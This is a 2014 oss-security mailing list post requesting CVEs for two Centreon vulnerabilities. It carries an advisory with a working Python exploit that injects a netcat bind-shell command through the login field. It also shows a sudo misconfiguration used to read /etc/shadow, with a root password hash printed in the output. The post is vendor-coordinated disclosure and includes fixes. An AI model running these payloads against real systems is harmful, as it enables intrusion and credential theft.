oss-security - CVE Request: Multiple vulnerabilities in Centreon <= 2.5.3

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Date: Fri, 28 Nov 2014 08:53:01 +0100
From: Damien Cauquil <d.cauquil@...dream.com>
To: oss-security@...ts.openwall.com
CC: n.chatelain@...dream.com
Subject: CVE Request: Multiple vulnerabilities in Centreon <= 2.5.3

We found two vulnerabilities in Centreon <= 2.5.3:

1. Unauthenticated remote command execution

This vulnerability allows an unauthenticated user to execute arbitrary
commands on the remote system.

2. Information disclosure (local)

A specific command-line utility allows local users to escalate
privileges and retrieve sensitive files on the system, such as
/etc/shadow. This vulnerability provides a root user access on files
(read only).

Vendor was notified and fixed the vulnerabilities.

List of related commits:

*
https://forge.centreon.com/projects/centreon/repository/revisions/015e875482d7ff6016edcca27bffe765c2bd77c1
*
https://forge.centreon.com/projects/centreon/repository/revisions/d00f3e015d6cf64e45822629b00068116e90ae4d
*
https://forge.centreon.com/projects/centreon/repository/revisions/a6dd914418dd185a698050349e05f10438fde2a9


Our security advisory follows. We would like to request 2 CVEs for these
vulnerabilities.


==================================================================
Unauthenticated Remote Command Execution in Centreon Web Interface
==================================================================


Description
===========

A critical vulnerability has been found in the Centreon logging class
allowing remote users to execute arbitrary commands.


SQL injection
=============

Centreon logs SQL database errors in a log file using the "echo" system
command and the exec() PHP function. On the authentification class,
Centreon use htmlentities with the ENT_QUOTES options to filter SQL
entities.
However, Centreon doesn't filter the SQL escape character "\" and it is
possible to generate an SQL Error.
Because of the use of the "echo" system command with the PHP exec()
function, and because of the lack of sanitization, it is possible to
inject arbitrary system commands.

**Access Vector**: remote

**Security Risk**: high

----------------
Proof of Concept
----------------

TCP BindShell using netcat.

#!/usr/bin/env python
import requests
import argparse

def shell(target, bindport):
    print "[~] Starting bindshell on : %s - port : %d" % (target, bindport)
    req = requests.post(target, data={"useralias": "$(nc -lvp %d -e
/bin/sh)\\" % bindport, "password": "foo"})
    print("[+] Bye !")

if __name__ == "__main__":
    print "[~] Centreon Unauthentificated RCE - Nicolas Chatelain
<n.chatelain@...dream.com>"
    parser = argparse.ArgumentParser()
    parser.add_argument("--target", required=True)
    parser.add_argument("--bindport", required=True, type=int)
    args = parser.parse_args()
    shell(args.target, args.bindport)


nightlydev@...rkstation ~/Lab/Centreon $ python centreon-shell.py
--target=http://172.16.138.130/centreon/index.php --bindport 7777
[~] Centreon Unauthentificated RCE - Nicolas Chatelain
<n.chatelain@...dream.com>
[~] Starting bindshell on : http://172.16.138.130/centreon/index.php -
port : 7777

# Other term

nightlydev@...rkstation ~/Lab/Centreon $ nc 172.16.138.130 8888
whoami
apache
groups
apache centreon-engine centreon-broker centreon nagios


---------------
Vulnerable code
---------------

The vulnerable code is located in class/centreonLog.class.php, line 82
and line 154:

.. code-block:: php

		/*
		 * print Error in log file.
		 */
		exec("echo \"".$string."\" >> ".$this->errorType[$id]);

In class/centreonAuth.class.php, line 227:

.. code-block:: php

	 $DBRESULT = $this->pearDB->query("SELECT * FROM `contact` WHERE
`contact_alias` = '" . htmlentities($username, ENT_QUOTES, "UTF-8") . "'
AND `contact_activate` = '1' AND 		 `contact_register` = '1' LIMIT 1");


--------
Solution
--------

Use the fopen, fwrite and fclose functions to write log data.


Possible root password disclosure in centengine (Centreon Entreprise Server)
============================================================================

In some configurations, when centengine can run as root (with sudo).
It's possible to read some file content.

**Access Vector**: local

**Security Risk**: high

----------------
Proof of Concept
----------------

$ sudo /usr/sbin/centengine -v /etc/shadow
[1416391088] reading main config file
[1416391088] error while processing a config file: [/etc/shadow:1] bad
variable name:
'root:$6$3mvvEHQM3p3afuh4$DZ377daOy.8bn42t7ur82/Geplvsj90J7cs1xsgAbRZ0JDZ8KdB5CcQ0ucF5dwKpnBYLon1XBqjJPqpm6Zr5R0:16392:0:99999:7:::'
[1416391088]

---------------
Vulnerable code
---------------

In Centreon Entreprise Server (CES) : /etc/sudoers.d/centreon

CENTREON   ALL = NOPASSWD: /usr/sbin/centengine -v *

--------
Solution
--------

Do not allow centengine to be run as root or do not disclose the line
that caused the error.

Affected versions
=================

* Centreon <= 2.5.3


Credits
=======

* Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)

Contact
=======

* Website: http://www.sysdream.com
* Twitter: @sysdream


Regards,

Damien Cauquil
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